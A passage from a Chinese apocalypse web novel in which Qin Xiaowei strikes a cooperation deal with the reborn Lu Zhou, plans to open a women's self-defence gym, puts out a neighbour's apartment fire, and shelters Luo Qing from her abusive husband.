陆昼看着她的脸，唇角勾出一个笑：“就是字面意思，暴雨涨水期间，粮仓里出了不少老鼠，往自己窝里搬东西……就拿Q大举例，学校有几个食 堂负责人，靠倒卖给学生们提前准备的物资，牟利了几千万……” 秦小薇忍不住倒吸一口凉气：“这么多？！” 暴雨期间，学校食堂准备的盒饭，确实又“贵”又难吃，但学校收容了那么多难民，难民们刚来的那几顿，又吃得非常好，她一直以为，食堂准备的好饭好菜，都被那些难民吃了。 再加上涨水的时候，外面的物价高得离谱，衬得食堂的盒饭都变得平价起来，也就没人再讨论这件事。 秦小薇：“食堂那些饭菜，不是被安置在教学楼里的难民吃了吗？” 陆昼冷笑一声：“Q大那么多双眼睛盯着，他们不找个光明正大的理由怎么行？你要是不相信我，不如去学校官网看看，食堂的负责人是不是换了，校领导是不是有人被革职了……” 秦小薇抿了抿唇，没有说话。 陆昼：“我说过，这个世界上确实有很多好人，但是也不乏阴暗的老鼠、蛀虫、蟑螂，你要是选择和他们合作，就要做好被他们算计、胁迫的准备……” 秦小薇忍不住对着他翻了一个白眼：“那你呢？你难道就不会算计胁迫我了？” 陆昼：“至少我没他们那么卑鄙，我不会拖自己人的后腿。” 秦小薇：“我看你人品也没好到哪里去！” 陆昼：“……” 陆昼深吸一口气：“……你好好考虑一下，是和我一个人合作，还是和一群人合作？我的人快要动手了，你没多少时间了。” 秦小薇：唉，时间过得太快了！拖不下去了…… 出去后，秦小薇登陆Q大的官网看了看，果然在角落里找到了一篇通报，刚好是陆昼搬到对面的那几天发的。 可能是因为这并不是什么光彩的事，通报里并没有详细介绍事情的经过，只说涉案资金庞大，但这事确实涉及了校领导和食堂……几个食堂的负责人确实也换了。 秦小薇又搜了下最近这一个多月的相关新闻…… 看完新闻后，她的表情有些沉重。 真的要和陆昼合作吗？ 虽然从暴雨到现在，官方做了很多事保障普通人的基本生命安全，这个世界的情况也比陆昼上辈子好了不止一星半点，但看那些新闻，秦小薇对于和官方打交道实在是没什么信心…… 她也不确定答应合作后，自己会不会被陆昼坑，但他只有一个人…… 秦小薇无意识地咬着指甲，直到感受到一阵疼痛，才发现大拇指的指甲已经快被她咬出血了。 她甩了甩手，用左手按住右手，又坐在原地想了一会，起身直接进了空间。 秦小薇进空间的时候，陆昼盘腿坐在地垫上，正在给拉布拉多手缝狗窝，空间里没什么宠物用品，香肠现在用的很多东西，都是陆昼纯手工搓的。 秦小薇二话不说，解开他的手铐，拽着人的衣领就往外面走。 “秦小薇，你忽然发什么疯？放开我！”陆昼伸手掰她的手指，却因为她手劲太大，没能掰动，只能跟着她的脚步往外面走。 到了外面，秦小薇依旧是一言不发，伸手对着他的肚子就是一拳。 “你有病啊！”陆昼也没让着她，当即就开始反击。 两人打了一会，因为秦小薇每次落于下风就用仓库作弊，陆昼打得十分憋屈，身上也添了不少伤…… 等秦小薇彻底发泄够了，她才喊了声“休战”。 陆昼冷笑：“你说休战就休战？” 他从地上爬了起来，眼里战意十足。 秦小薇：“我答应和你合作了！” 听到她的话，陆昼的表情凝固了一瞬：“你说什么？” 秦小薇欣赏着他脸上的表情，心情诡异地好了许多：“怎么？知道我答应和你合作，高兴疯了？” 陆昼：“你这人怎么不按常理出牌？哪有人答应合作之前先把合作对象打一顿的？” 秦小薇一副刺头的模样：“我啊！你现在见识到了！你还要做好心理准备，像我这样的合作对象，一个不爽，就会跑去找你干一架！然后用仓库作弊，把你揍得鼻青脸肿……你确定还要和我合作？” 陆昼拍了拍身上沾到的沙子，笑了：“别那么自信，常在河边走，哪有不湿鞋的，你怎么能确定？一直都是你揍我呢？” 秦小薇：“……”这家伙，还真是一如既往地讨厌！ 秦小薇从仓库里拿出一瓶牛奶，“咕咚咕咚”灌了半瓶解渴，她用眼神指了下自己对面的位置：“坐下吧，来谈条件！” 陆昼朝着她伸出一只手：“给我一瓶。” 秦小薇嘲笑他：“怎么，现在不怕憋尿了？” 自从上次灌了四瓶牛奶还被铐在露天厨房好几个小时之后，陆昼几乎就没怎么喝过水，就连汤都很少碰。 陆昼没有接话，转移话题道：“我要存一批物资在你的空间里，必要的时候，我希望我的家人朋友也能进空间里避难！” “不可能！存物资已经是我的极限了，人我不可能放进来的……”秦小薇毫不犹豫地拒绝了，“你不是重生的吗？你之前不是说你知道未来十几年的事，还能让我避开那些危险……你要是连家人朋友都保护不了，那我真的要好好掂量一下，你的话有几分可信度了！” 她满脸都写着“不会吧？不会吧？你不会连这点小事都做不到吧？”。 陆昼：“……” 陆昼咬牙：“好，暂时只存放物资！” 秦小薇纠正他：“不是暂时，是‘只存放物资’！” 陆昼：“行！你要什么？” 秦小薇：“我要知道未来会发生哪些灾难，你囤积的物资，我要一份，还有钱，我最近手头有点紧，你先给个五百万看看实力吧！对了，现在很多物资都不好买，我要是缺什么了，联系你帮忙，你不能拒绝……” 反正是谈判，秦小薇干脆漫天要价，噼里啪啦地提了一堆要求。 陆昼：“第一条不行！我只能告诉你未来三个月的情况，要是你什么都知道了，然后带着我的东西跑了怎么办？末世可不好找人……” 秦小薇张了张嘴，想说她不是这样的人，但转念一想，对别人她可能不是这样的人，但对这家伙……她对自己的人品也不是很自信！ 一番讨价还价之后，陆昼答应告诉她半年内的情况，要是有什么“内部消息”，也会及时通知她，至于她提出的其他要求，他眼都不眨地答应了。 他甚至当场要回了自己的钱包，从钱包里拿了一张卡递给秦小薇：“密码是061399，里面有一千万！” 秦小薇：“……你们这些有钱人，花钱都这么随意的吗？” 陆昼：“本来就是要拿来收买你的，谁知道你这么不按套路出牌！我话还没说完，就给了我一板砖，还把我带到空间里捆起来打……” 秦小薇：“……”说实话，他这威逼利诱的“利”有点超出她的预料了，她当时还以为他就只打算告诉她一些“预言”，然后画点大饼什么的。 想到之前看到的新闻，秦小薇警惕道：“你这钱干净的吧？” 陆昼嗤笑一声：“放心，我还不至于做这种事，都是家里做生意赚的！” 之后，两人还写了一份纸质的合约，把约定的条件记录下来，免得之后忘了……虽然他们很清楚，这份合约对双方都没什么约束力。 条件都商量好了，秦小薇才问他：“你现在可以说了，之后半年会发生什么。” 陆昼：“高温过后，会有两个多月的恢复期，那段时间，宁市几乎没什么灾难。” 秦小薇还在等他的下文，见他不再开口，她忍不住皱眉：“没了？” 陆昼：“说好了，只告诉你半年后的事！” 秦小薇有点生气：“陆昼，你是不是在耍我？高温持续五个月的事，我之前就 知道了，你现在说这些，不就只多告诉了我之后两个月的消息？继续说！” 见她已经在捏拳头了，陆昼沉吟片刻，妥协了：“之后会有大地震，同时还会伴随着台风和大冰雹……” 秦小薇：！！！ 地震就够可怕了，竟然还有台风和冰雹？房子要是都被震塌了，普通人躲哪里？ 陆昼看着她的表情，笑了：“不用太紧张，你住的公寓楼，大地震的时候没有塌，你不会无家可归的！” 秦小薇想到了公寓楼新换的房东，房东该不会是提前知道了什么，所以提前把房子买下来，等着地震的时候“避难”吧？那她到时候还有住的地方吗？ 出去后尽快搞定房子的事吧！ 毕竟官方的动作这么大，有些人提前知道一些“小道消息”也很正常。 秦小薇看了他一眼：“这就是奚川搬来公寓楼的原因？” 陆昼毫不避讳地点头：“我想办法让他搬的。” 秦小薇想了想，又问：“你觉得我开个健身房，专门教女子防身术之类的，会有前途吗？” 陆昼皱眉：“卡都给你了，你好好在家待着不就行了，为什么还要折腾？” 秦小薇下意识怼了回去：“咱们是合作关系，各取所需而已，你管我干什么？” 怼完人，她就有点后悔，现在是她在征询他的意见，他该不会因为她态度不好故意给她挖坑吧？ 陆昼可能是已经习惯了，并没有在意她的语气，神色如常道：“选个好位置，应该不缺顾客，末世之后，男女都有这方面的需求，你不必拘泥于女子防身术……不过，从卖爆米花到银行职员再到健身房老板，你不觉得自己的职业跨度有点大吗？” 秦小薇翻了个白眼：“这有什么，我能把事情做好就行了！你自己不也是从计算机专业转行的。” 要说跨度大，她上辈子还是广告策划呢！穿越后变成了体育生，天天训练，不也照样适应得挺好。 陆昼抿了抿唇，没再反驳她。 陆昼：“我觉得你家楼上楼下都挺合适，那片区域地震的时候保留了不少建筑，到时候应该不缺人……” 秦小薇：“行，等我找好了地方，你帮我找人装修！” 陆昼：“这就使唤上我了？” 秦小薇：“我这叫合理利用资源！” 都答应和他合作了，却不用他的资源，她不是亏了？ 陆昼：“香肠还得在空间里再放一段时间，等我把外面的事情处理完了，我再找个理由接它出去。” 想到这家伙对香肠的上心程度，秦小薇便没有拒绝，让它留下来当“狗质”也行！她也不缺它那一口饭吃！ 秦小薇：“那我现在就放你出去？” 陆昼报了个地址：“……你在那里把我放下，到时候我会开车去隔壁省，再从隔壁省回来。” 想到之前李阿姨说警察在山沟沟里找到了他的车，秦小薇有点怀疑，这家伙一早就打算好了，出事了该怎么“脱险”。 虽然心里吐槽，但秦小薇还是答应了，不仅如此，她还把之前没收的车子、配饰、鞋子、枪都还给了他。 还给他提供了一些高温天外出必备的物资。 自驾开车去隔壁省需要好几个小时，现在外面天已经快亮了，不适合出发，秦小薇打算明天傍晚再送他出去。 终于要送走这个瘟神了！ 接下来，她该好好想想，从陆昼那拿到的钱该怎么花！ 首先，房子肯定是要买的，要是真像她猜的那样，地震的时候被人连人带行李赶出家门……那也太惨了！ 还有健身房也可以试试，反正是陆昼的钱，拿来试错她也不心疼，大不了花完了再去找他要，穿越后的金手指都“借”给他了，要点报酬不过分吧？ 而且，看他那态度，一千万对他来说也只是小钱，她薅点羊毛他应该也不会介意。 秦小薇比较倾向于在公寓楼买房开健身房，就是之前打卡群还在的时候，她还能通过群成员联系到各个房东，现在打卡群解散了，她得找其他的门路联系房东…… 不知道楼里有没有健身房，她能不能直接接手一家？这样还能省去装修！ 第56章 第56章求助（双更合一）…… 秦小薇拿了个笔记本出来,把之后要做的事一件件写了上去。 列完一长串清单，她想了想，又合上了笔记本,决定等陆昼正式露面了再开始完成清单上的事。 毕竟他的身份摆在那,重要程度不言自明,秦小薇其实有点怀疑陆昼能不能自圆其说……在事情都解决之前，她还是别做什么太“出格”的事了,免得把自己卷进去。 笔记本收起来没多久,她的手机就震动了一下，是寝室群里的消息。 【肖琳琳：小睡一觉醒来,发现手机充电线被狗咬断了！我就这一根充电线能用啊啊啊！】 【秦小薇：狗不是关笼子里了吗？】 【肖琳琳：裴欣打扫狗笼子的时候把狗放出来了，然后……】 【秦小薇：让她赔吧！】 【肖琳琳：赔了，但是我俩手机的充电口不一样,我用不了她的数据线！】 【肖琳琳：崩溃抓头.jpg】 【秦小薇：我有根三合一的,琳琳你应该可以用。】 【范槿：我家有多余的，可以找个跑腿给你送过去！】 【肖琳琳：跑腿的价格好贵啊！都够我买好几根数据线了，我先去外面买吧,不行再去薇薇那拿！】 【秦小薇：洪山路那边的超市可能有卖，我前两天去的时候看到了。】 【肖琳琳：好,趁着天还没亮,我现在过去看看！】 秦小薇又联系了罗青她们，和她们推迟了明天练习的时间。 她拿出电脑，了解了一下市面上现有的健身房,有些大城市，还是有不少健身房卖女子防身术的课，当然，因为大环境和审美的原因,健身房的学员买的更多的还是增肌减脂的课…… 开健身房对秦小薇来说，算是一个全新的领域了，她想多了解一下，坐在电脑前查了很久的资料，直到外面太阳都出来了才去睡觉。 一觉睡醒后，她随便啃了袋面包，就骑着电动三轮车去了陆昼昨天告诉她的那个地址。 那地方特别偏，临近国道，周围别说人了，连路灯都没修好。 秦小薇骑了一个多小时才到地方，路上还灌了三瓶淡盐水补充水分，到了地方后，她直接把陆昼连人带车从空间里放了出来。 还好她骑的是自己的电动三轮车，要是换成路边扫码的共享电动车，肯定早就没电了！ 秦小薇：“到了。” 陆昼早就已经换上了他自己的衣服鞋子，只不过他脸上还带着明显的伤痕，这让他看起来比初见时狼狈了许多。 陆昼四处看了看，周围光线昏暗，除了摇曳的树影，什么都没有。见秦小薇要走，他叫住了她：“等等！” 秦小薇不耐烦：“还有什么事？” 陆昼扔给她一支枪：“现在外面不像以前那么安全，路上遇到了抢劫的，不要心软，我上次‘教’过你的，你应该会用吧？” 秦小薇想到了她上次拿枪指着他的经历，有些无语。 那也算教？ 秦小薇没拒绝他扔过来的枪，虽然她知道自己不会用，但现在外面确实不太平，有一件热武器放在仓库里随手就能拿到的位置上，她觉得自己底气都足了很多…… 陆昼：“照顾好香肠，它正在减肥，不要给它吃太多能量饼干，按时给它做饭，别让它一直下水玩……” 他啰哩巴嗦地说了一大堆，秦小薇甚至有种他不是在养宠物，而是在养儿子的错觉。 她摆了摆手，启动了车子：“知道了，别念叨了！” 她到家的时候，天已经完全黑了，秦小薇换了套衣服，瘫在沙发上，轻轻呼出一口气，整个人都放松下来了，终于把 陆昼这个瘟神送走了！ 空间里又只有她一个人了！ 虽然已经和陆昼达成了合作，秦小薇的拳击课却没停下，她甚至增加了“经费”，找了个拿过全国冠军的拳击手当私教，上完课还会自己练几个小时…… 罗青几人每天都会过来待两个小时，因为有开健身房的想法，虽然秦小薇没有收钱，教学的时候却更认真了，还会主动询问她们的学习体验，改进教学方法。 陆昼走后的几天，秦小薇除了吃饭，就是训练、查资料，偶尔休息的时候，她才会打开手机玩一会游戏、和室友们一起聊天吃瓜。 拳击训练有时候会让她觉得很累，但她却有种日子过得很充实的感觉。 房子的问题，她也打听了一下，因为高温又没有电梯的原因，公寓楼一到三层的房价基本没什么变化，高温之后，一楼的房价还涨了一些。 但高层的房价降了一倍不止，越是高楼层，房价就越便宜。 就这样，高层的房子还是卖不出去，还有很多人退租。 现在网上很多人都说，以后高楼层的房子会变成贫民窟。 不过，就算房价降了很多，也要好几千一平，以秦小薇目前的积蓄来说，也是买不起的。 她看中了六楼的一间公寓和美容院，要是都买下来了，她上下班还能省去通勤的时间。 美容院面积很大，之前的老板没有做专门的隔间，只在房顶装了轨道拉了帘子把屋内的空间分隔开。 因为暴雨积水和现在的高温，老板经营不下去了，之前还在打卡群里低价售卖店里积存的产品。 美容院简单装修一下，铺上厚厚的橡胶地垫减震隔音，再买些器材就能用了，她打算等陆昼的事彻底解决了，就去找房主谈买房子的事…… 这天傍晚，秦小薇下楼去便利店买水和能量饼干的时候，碰到了李阿姨和奚川家的保镖，他们个个穿着包裹着全身的昂贵冷却服，在便利店里排队付款。 看到他们，秦小薇有些惊讶。 高温刚开始的时候，他家就每天有人送新鲜的食材上门，肉类都装在专门的冷藏箱里，外面的大小超市，每人每天凭身份证限购2000ML液体，停水之后，他们家却隔三岔五就有人送几十升一桶的桶装水上门，一次就是几十桶。 她有次好奇地问了李阿姨一句，她家的水怎么用得那么快，才知道那水是给奚川和保镖们洗澡的……李阿姨还说她节约，现在都只用洗澡水浇菜。 有时候东西太多，李阿姨一个人拿不了，还得推着小推车，带保镖下去搬东西。 竟然连他们家都开始买能量饼干和饮用水了！ 李阿姨和秦小薇对视后，眼中闪过一丝窘迫，她侧了侧身体，假装看一旁的货架，并没有和秦小薇打招呼。 秦小薇稍微一想就明白了，对面一直都过得很好，算是楼里的独一份，现在忽然要和其他住户一样，下楼买能量饼干，李阿姨可能是接受不了这种变化带来的心理上的落差？ 尤其是在她这个“熟人”面前…… 察觉到她的异样，秦小薇也没有主动找她聊天，付完钱就非常体贴地拿上水和能量饼干走了。 回家后，秦小薇看到范槿在寝室群里发了消息。 【范槿：家人们，我也失业了，刚刚收到HR的邮件，让我周一之前去办离职手续。】 【范槿：本来还想着现在大环境不好，要不就直接留下来转正吧，万万没想到……公司根本没给我这个机会。】 【范槿：我要和你们一起找工作了！】 【段霞：啊？为什么？你们公司不是一直都没歇业吗？】 【范槿：估计是效益不好，养不起这么多员工……我这个月虽然跟着见了不少客户，但是真没谈成几单生意。】 【范槿：现在天气这么热，稍微动一下就出一身汗，运动器材很难卖出去的。】 【范槿：晚点我把简历发给你们，你们帮我看一下！】 【段霞：好！】 【肖琳琳：OK！】 【秦小薇：1】 看到室友们的聊天记录，秦小薇心中一动，如果她开健身房的话，是不是能找室友们过来帮忙？ 虽然陆昼说后期男女都会有这方面的需求，但她依旧想开一家只为女性服务的健身房，练习女子防身术或是搏击术的过程必然会有频繁的身体接触，如果教练是男性，顾客可能会觉得不自在，找女教练就会好很多。 体院那么多学姐，她想招员工应该不难。 就是……雇佣室友是不是不太好？ 感觉有些关系，一旦和利益挂钩了，就很容易变质…… 算了，不纠结了，以后再说吧！ 她现在连准备工作都还没做好呢！没必要贷款焦虑！ 白天，她睡得正迷糊，却忽然被外面的砸门声吵醒了。 “快跑！着火了！着火了！”门外传来一个有些粗犷的男声。 砸门声只持续了几秒就结束了。 秦小薇瞬间清醒，跳下床，拿起之前准备的应急背包，打开门就往外面冲。 走廊拐角处有一间屋子的门大开着，屋里有白烟冒出，一个抱着灭火器，急得满头大汗的年轻男人正在走廊里挨个敲门提醒大家逃跑，走廊里已经有几户人家在往楼梯的方向跑了…… 秦小薇路过起火点的时候，往屋里看了一眼，发现火势并不大，她犹豫了两秒，又折了回去：“喂，别喊了！趁着火还不大，快用灭火器把火灭了！” 现在这么缺水，要是让火一直烧下去，说不定整栋公寓楼都会被烧了！ 男人急得满头大汗：“这个灭火器是坏的！拉环拔不出来，里面的东西也喷不出来……” 说着，他还用力握了下灭火器的把手。 秦小薇不太相信，上次失火的乌龙事件过后，楼里的人把每层楼的消防设备都检查了一遍，全都是好的，后面社区也派人来检查过一次，也是好的。 她接过灭火器检查了一下，提着下半部分手柄，轻轻一拉，保险销就拔出来了。 秦小薇：“……” 她没再废话，提着灭火器就冲到走廊的拐角处，现在很多建筑材料都很易燃，他们耽搁的这么一会，屋里的火势就已经变大了很多，秦小薇站在门口，对着火焰根部一顿喷。 没一会，又有其他人从楼上拿了灭火器下来帮忙，还有人拿着从同城APP上高价收的灭火器过来灭火……很快，屋里的火势就灭了。 秦小薇松了口气。 房主顶着一张满头大汗的脸过来和帮忙灭火的几人道谢：“那个，谢谢你们啊！之前这个灭火器真坏了，那个手柄一直拉不出来……” 秦小薇：“……瓶身上写了，要把它提起来，保险销才能拉出来。” 她很无语，这些天国内各地火灾频发，网上一堆人科普消防设备该怎么用，连使用口诀都上过热搜，就连同城APP上相关的帖子都火过好一阵……他起火后竟然抱着个灭火器到处砸门让邻居快跑！ 现在停水了，要是水枪不会用还可以说是觉得用不上就没关注，连灭火器都不会用…… 秦小薇只能感叹，现在的保胎技术还是太强了！ 房主：“呃……我当时太着急了，没注意看！他这个使用说明也有问题，字太小了，一点都不醒目……” 另一个邻居皱着眉打断了他：“怎么会忽然起火？” 说到这事，房主一拍大腿：“我窗帘没拉严 实，阳光刚好照到了正在充电的手机上，手机就炸了，我当时也吓了一跳……唉，现在的手机质量还是太差了！” 众人：“……” 秦小薇懒得听他给自己的错误找借口，白天外面温度很高，就出来这一会，她身上已经出了不少汗了，她把灭火器归回原位，就开门回家了。 见屋里的火灭了，公寓楼里其他被吵醒的住户提醒了房主几句，要注意用电安全，也都回了家，徒留房主一个人对着被烧黑的屋子欲哭无泪。 起床后，秦小薇去空间里做了几个简单的鸡蛋培根芝士三明治填肚子，又给拉布拉多做了点水煮的鱼肉虾肉和胡萝卜，还配了一点水果。 陆昼在空间里这段时间，家务都是他包的，忽然要自己做饭洗碗浇菜，秦小薇还有些不太习惯，这几顿吃得都比较简单。 不过和空间里有外人相比，秦小薇觉得，这点不习惯，她还是能克服的。 给罗青她们几个上完课之后，秦小薇自己又练了会拳，眼看着快要到凌晨温度最低的时候了，她在网上叫了辆车，坐车去了红浦区。 目前宁市还有好几家健身房在营业，不过就红浦区这家有专门的女子搏击课，她今天打算去看看，还在网上买了一节体验课。 网约车里有空调，坐网约车出行比她骑电动车和自行车舒服多了。 秦小薇觉得，下次和陆昼见面的时候，得让他给自己安排一辆车——现在外面有问题的车太多了，买新车都有可能买到返过厂的泡水车，她也不是很懂车，她担心自己去买会踩雷。 反正他现在也算是自己手上的“资源”了，不好好利用一下，她都觉得对不起自己那么多天的纠结和心惊胆战！ 健身房很大，现在去超市抢购新鲜蔬果的人都很少，但这家健身房却有不少顾客，放眼望去，大多是在做各种训练的女性…… 看来她猜测得不错，因为大环境的原因，很多女性都有了增强自身实力的需求。 秦小薇来之前没有预约，现在没有空闲的教练，前台帮她核销了券之后，把她带到了休息区，给她倒了杯水，让她坐着等半个小时。 等待的时候，秦小薇的眼睛也没有闲着，她打量着这家健身房的装修，拿它和这几天在网上看到过的设计图做对比…… 半个多小时过后，秦小薇见到了安排给她的健身教练，是个黑皮肤的年轻男孩，看起来似乎比她还小。 教练上下打量着秦小薇，视线落在她的手臂上：“之前练过？” 秦小薇毫不避讳地点头：“我是练举重的，想过来学几招。” 教练点点头，露出一个“我懂”的表情：“现在女孩子一个人出门不方便，很多人都想过来学两招防身……” 教练简单问了几句秦小薇的情况，教学就开始了。 秦小薇买的是女子搏击术的体验课，一节课的时间很快就过去了。 可能是因为她一直在练拳，也算是业余选手了，对这些东西也还算了解。说实话，这个教练的水平其实不如他们Q大教拳击的老师，和她最近找的专业拳击手的差距就更大了。 课程结束前的十来分钟，教练一直在和秦小薇推销，吹嘘着他的“教学成果”，还说秦小薇有天赋，如果买了他的课，练起来一定会事半功倍云云。 知道他卖课也是为了生活，秦小薇也就没打断他，不过对方推销的话术，她基本上过一遍耳就忘了。 从健身房出来后，关于自己未来要开的健身房，秦小薇有了很多想法，她打开手机备忘录，把它们一条条记录下来。 下次再去别的健身房看看吧！感觉有了开健身房的想法后，她现在看健身房的角度都不一样了！ 下车之前，秦小薇接到了罗青的电话。 罗青：“薇薇，我老公来找我了，你、你能过来帮帮我吗……” 她的声音里带着明显的恐惧。 毕竟是自己的“学员”，罗青之前还可能经历过家暴，现在她老公找过来，肯定没什么好事……刚好快要到地方了，秦小薇也就没拒绝，直接让网约车司机在商场门口停下了。 这还是她高温之后第一次来商场，这里和她印象中干净整洁的商场完全不一样。 除了入口处的那家手机店，商场里的各个店铺都被搬空了，店铺的门开着，里面堆满了各种乱七八糟的行李，原本干净整洁的展柜也变得脏兮兮的。 那家手机店虽然被保留下来了，但也做了改造，摆了不少货架，现在里面堆的都是能量饼干和饮用水，商场里的人不用出门就能买到食物和水，算是比那些住在家里、需要顶着高温外出买食物和水的普通市民方便一些。 商场里也安排了保安和工作人员巡逻，但可能是因为商场的环境太差了，他们大多聚集在商场最外面的手机店里，除非是有人打起来见血了，他们才会过去管一管…… 因为没有水资源清理自己，又休息不好，大多数人的状态看起来都很差。 再加上天热出汗，空气中全是汗馊味和各种奇怪的臭味，一进入商场，秦小薇就下意识屏住了呼吸。 这种环境……让她来她真的不行！感觉在里面待上一两个小时，就会被臭气熏晕…… 这空气质量也太差了！竟然还有人在这里面待了一个多月？ 秦小薇真的很佩服他们的毅力！ 闲着没事，众人便自己找乐子，有人在打牌、有人在聊天。 “我看了今天刷新出来的天气预告，之后还是高温！这鬼天气，还不知道要热多久！” “唉，现在的情况已经很好了，至少有吃有喝，还有片遮阳的地方……这事要是放在古代，我早就饿死渴死了！” “想给手机充电也太难了，还得排队！就不能多拉几个插线板吗？” “我头上都生虱子了，也不知道是被谁传染的，痒死了！药店的虱子粉是不是没用？” “有用啊！你是不是方法没用对？” “……” 秦小薇进入商场后，并没有引起什么人的注意，只是从某些人身边路过的时候，她会感受到一阵恶心黏腻的视线。 她早就从罗青她们那儿知道了临时避暑点的情况，知道这里某些恶臭男会专门聚在一起，对商场里的女性品头论足，还会给她们的身材样貌打分，分三六九等。 她没理这些人，路过他们的时候连脚步都没停一下，径直越过他们，上了三楼。 商场里很大，她费了一番功夫才找到罗青说的地方。 可能是因为在商场待着实在是太无聊了，一旦碰到什么事，就有一大群人聚过去看热闹，她到的时候，周围聚集了不少人，正在看罗青和她老公的热闹。 秦小薇挤进人群，她以为自己会看到罗青的老公对她施暴的画面，万万没想到，罗青好好地站在那里，但她老公，跪在她面前哭得声泪俱下！ 秦小薇：？？？ 第57章 第57章装修（双更合一）…… 秦小薇一时有些弄不清楚到底发生了什么,她停下脚步，犹豫着没有上前。 罗青的老公跪在地上，哭得鼻涕眼泪糊了一脸：“老婆,你和我回去吧！我保证,再也不会喝酒了,你就原谅我这一次吧……” “情到浓时”，他甚至还会伸手扇自己巴掌。 围观的众人几乎都在劝罗青。 “姑娘,你老公都哭成这个样子了,你就原谅他吧！” “做人嘛！哪有不犯错的？他都保证以后不喝酒、不应酬了！” “你可别犯傻！我们是没办法才来这里打地铺，你有条件,干嘛不回家里吹空调？这里环境多差啊！有时候上厕所都得排老长的队……” “……” 秦小薇用手指戳了下边上一个看热闹的大妈：“阿姨，这里出什么事了？” 大妈手里抓着一把瓜子，听到秦小薇的问题,也没管认不认识她,张嘴就竹筒倒豆子似的把事情的经 过说了一遍。 大妈：“这女的的老公过来找她，说要带她回家，但是她不愿意,说她老公喝了酒应酬完，回家就打人,一直抓着围栏不走……她老公就一个劲地道歉,说以后不会再犯了，这不，还跪下了……” 大妈的话还没说完,边上一个男的就接话道：“要我说，喝了酒打人确实不对，但人家都保证以后不喝酒了，这女的应该给她老公一个机会,两个人能走到一起也不容易！” 秦小薇听得一头黑线，喝了酒家暴就能原谅了，怎么没见女的喝了酒家暴男的？怎么不见他把他爸妈、他老板、他客户也给打了？ 这本质上还是这个男的不行，没人品也没自控力！ 或者他干脆就是借着酒劲发泄情绪，暴露本性！ 了解完事情的经过后，秦小薇挤出人群，喊了句“罗青姐”。 被纠缠的罗青听到她的声音后松了口气，她直接朝着秦小薇跑了过来，躲在她身后，只探出半个脑袋。 秦小薇太高了，把她整个人都挡住了。 秦小薇小声问她：“罗青姐，你想怎么办？” 罗青：“我不想回去，我想和他离婚，等高温结束了，我就出去找工作、租房子……” 见罗青跑了，男人也不哭了，他从地上爬了起来，满脸敌意地盯着秦小薇。 听到罗青的话，他的眼神有些阴郁：“老婆，你都五年没出去工作了，早就和这个社会脱节了！能找到什么好工作？和我回去吧，我以后会好好对你的，不会再喝酒了，你想要什么，我都给你买……” 罗青脸上全是厌烦：“你之前也是这么保证的，哪一次做到了？” 他急切地往前走了两步：“我这次肯定会做到的！老婆，你不在的这些天，我每天都很想你，我真的不能没有你……” 秦小薇看了眼正在“表白”的男人，又看了看她身后一脸无动于衷的罗青，想了想，开口道：“罗青姐，我看姐夫说得挺有诚意的，你们毕竟这么多年感情，分开太可惜了……就是不知道姐夫是不是嘴上说说？” 男人：“我都跪下了！还要我怎么样？” 罗青有些着急，伸手拽了下秦小薇的衣角，秦小薇拍了拍她的胳膊，递给她一个安抚的眼神，才冲着对面的男人开口道：“姐夫，你这又哭又跪的，看着不像是在道歉，反而像是在道德绑架。依我看，你要是真心挽回，就该拿点行动出来！道歉也该有个道歉的态度！” 男人皱眉：“什么意思？” 秦小薇：“我觉得只跑这一趟不能彰显你的诚意，至少要多跑几趟……” 男人皱眉看着她：“你该不会是想把我骗走，然后带着我老婆逃走吧？” 秦小薇翻了个白眼：“现在买瓶水都要刷身份证，人在哪里大数据一清二楚，你们还是夫妻关系，你要是真想找她，报个警不就行了？” 男人：“……” 见她还在犹豫，秦小薇往边上侧了侧，让罗青完全暴露在他的视线之下，她捏了下罗青的手腕：“罗青姐，你觉得呢？” 接收到她的暗示，罗青犹豫了一下，开口道：“赵博，你先回去吧！让我好好考虑一下……” 赵博：“……老婆，我明天再来找你！” 赵博离开后，罗青有些紧张地抓住了秦小薇的手臂：“薇薇，他明天还来怎么办？我继续拖着他吗？” 秦小薇四处看了看，周围围观的人还没有散去，还有几人跃跃欲试，一副想过来吃更详细的瓜的模样。 秦小薇：“罗青姐，这里不是说话的地方，先去我家吧！” 罗青：“好。” 出了商场后，秦小薇狠狠松了口气，她的鼻子终于解放了！ 再在里面待下去，她都要嗅觉失灵了！ 回到公寓后，秦小薇直接问她：“罗青姐，方便和我说说，你和你老公到底是什么情况吗？” 罗青点点头，开始诉说她的经历：“我和他是经人介绍认识的，他家里条件比我好很多，婚后，我婆婆一直不满我在外面忙工作，又嫌弃我赚的钱少，我就辞了工作在家里当家庭主妇。” “刚开始那一年多，他其实对我挺好的，后来有一次，他工作不顺，喝了酒回家就和我发脾气，我们吵了一架，他就对我动手了……” “事后，他一直和我道歉，说是喝了酒醉糊涂了，我也就原谅他了。后来我才知道，那只是他的借口罢了，我要是穿衣服不符合他的要求，和异性多说了两句话、或是不小心和他顶嘴了……他下次‘喝醉’之后就一定会动手，每次动完手，他又会想尽各种办法求我原谅……” “我就像个被他养在家里的金丝雀，必须得小心翼翼地讨好他，依附他生活！” “暴雨之后，他工作不顺，脾气也越来越差，对我动手的次数也越来越多，我觉得我都要被他折磨疯了，后来实在是受不了了，就从家里跑出来了！” 她说话的时候，身体还在微微颤抖，似乎是想起了过去那些黑暗的日子。 见她这副模样，秦小薇忍不住伸手抱了抱她：“罗青姐，一切都会变好的！我有一个方法，可以让他主动和你离婚，不再纠缠你，就是有点……缺德，你要不要试试？” 罗青咬牙：“只要能让他不再纠缠我，我什么都愿意做！” 虽然屋里没有第三个人，但秦小薇还是下意识压低了声音：“明天他来找你的时候，你答应和他回去，然后……” 罗青的表情有些犹豫：“这能行吗？” 秦小薇：“像他这种人，子弹不打到自己身上，他是不会觉得疼的，我们这叫以其人之道还治其人之身！放心吧！罗青姐，我会帮你的，肯定能成功……” 罗青看着秦小薇，忽然开口道：“薇薇，我真羡慕你，要是我能和你一样就好了！” 秦小薇愕然：“我有什么好羡慕的？” 她穿越后连父母都没有，唯一的亲戚还都是一家子极品，人脉、金钱，一样都没有，什么都得靠她自己努力。 罗青：“你长得高，还是学体育的，一看就不好惹，就算搬去了商场，也没人会欺负你！” 秦小薇笑了：“罗青姐，这你就错了，我一个人住公寓，之前也碰到过变态晚上来砸门……在某些人渣眼里，只要你落单，就属于弱势群体，和身高体型没什么关系。” 罗青看起来很惊讶：“你也会碰到这种事？你当时怎么处理的？” 秦小薇：“拿着菜刀开门把人打跑了……不过罗青姐，你要是碰到了这种事，我不建议你硬刚。” 和罗青聊了一会，秦小薇才送她回商场。 